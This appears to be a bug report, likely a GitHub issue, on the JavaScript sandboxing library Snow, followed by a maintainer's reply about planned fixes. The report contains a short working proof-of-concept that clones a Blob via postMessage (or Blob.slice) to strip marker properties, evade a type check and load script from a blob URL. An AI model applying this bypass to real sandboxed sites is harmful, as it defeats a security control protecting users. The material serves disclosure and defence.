var url = URL.createObjectURL(new Blob(['alert(origin)']));
onmessage = e => location = URL.createObjectURL(e.data);
postMessage(new Blob([`<script src="${url}"></script>`], {type:'text/html'}));

postMessage(blob) will trigger a native object copy which will strip the custom properties KIND and TYPE and which passes the assertTypeIsForbidden in

function assertTypeIsForbidden(object) {

Blob clone could be also done via:

URL.createObjectURL(new Blob(["<h2>asd"], {type:'text/html'}).slice(0, 100, 'text/html'));

Thanks for contributing. The main maintainer of this project is temporary unavailable, but we'll definitely get back to this.
The plan is to tighten some limitations on DOM usage that Snow already introduces and fixing the missing overrides where possible. Some of the work has started (see PR tab)

Meanwhile we're also working with W3C to propose a basic building block of Snow getting introduced into the browser so that all of the monkey-patching can be eliminated in the future. https://www.w3.org/2023/03/secure-the-web-forward/talks/realms.html
